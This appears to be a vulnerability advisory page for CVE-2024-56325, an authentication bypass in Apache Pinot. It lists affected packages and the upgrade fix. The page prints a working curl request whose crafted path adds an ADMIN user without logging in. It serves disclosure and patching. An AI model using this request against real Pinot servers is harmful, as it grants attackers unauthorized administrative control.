CVE-2024-56325 Apache Pinot: Authentication bypass issue. If the path does not contain / and contain . authentication is not required

What is CVE-2024-56325?

CVE-2024-56325 is a critical authentication bypass vulnerability in Apache Pinot, published on 1 Apr 2025. An attacker can exploit it over the internet without logging in, with no action from the victim.

Official description

Authentication Bypass Issue

If the path does not contain / and contain., authentication is not required.

Expected Normal Request and Response Example

curl -X POST -H "Content-Type: application/json" -d {\"username\":\"hack2\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"} http://{server_ip}:9000/users

Return: {"code":401,"error":"HTTP 401 Unauthorized"}

Malicious Request and Response Example

curl -X POST -H "Content-Type: application/json" -d '{\"username\":\"hack\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"}' http://{serverip}:9000/users; http://{serverip}:9000/users; .

Return: {"users":{}}

A new user gets added bypassing authentication, enabling the user to control Pinot.

Weakness: CWE-288

Which versions are affected by CVE-2024-56325?

6 open source packages ship an affected version, including org.apache.pinot:pinot-broker, org.apache.pinot:pinot-common and org.apache.pinot:pinot-controller. It affects 1 product.

Products include Apache Pinot.

How do I fix CVE-2024-56325?

Upgrade org.apache.pinot:pinot-broker to 1.3.0 or later.

Upgrade, and rotate credentials and sessions that may have been exposed. More about Authentication bypass.

Is CVE-2024-56325 being exploited?

It is not confirmed as exploited in the wild, but public exploit code for CVE-2024-56325 exists.

Public exploit code: 1 Nuclei template.

Other vulnerabilities in Apache Pinot

• CVE-2022-26112 Apache Pinot has Groovy Function support enabled by default Critical 9.8
• CVE-2024-39676 Apache Pinot: Unauthorized endpoint exposed sensitive information High 7.5
• CVE-2022-23974 Pinot segment push endpoint has a vulnerability in unprotected environments High 7.5

Sources

• CVE record
• NVD
• OSV
• GitHub advisory
• How this page is made

Also known as GHSA-6jwp-4wvj-6597.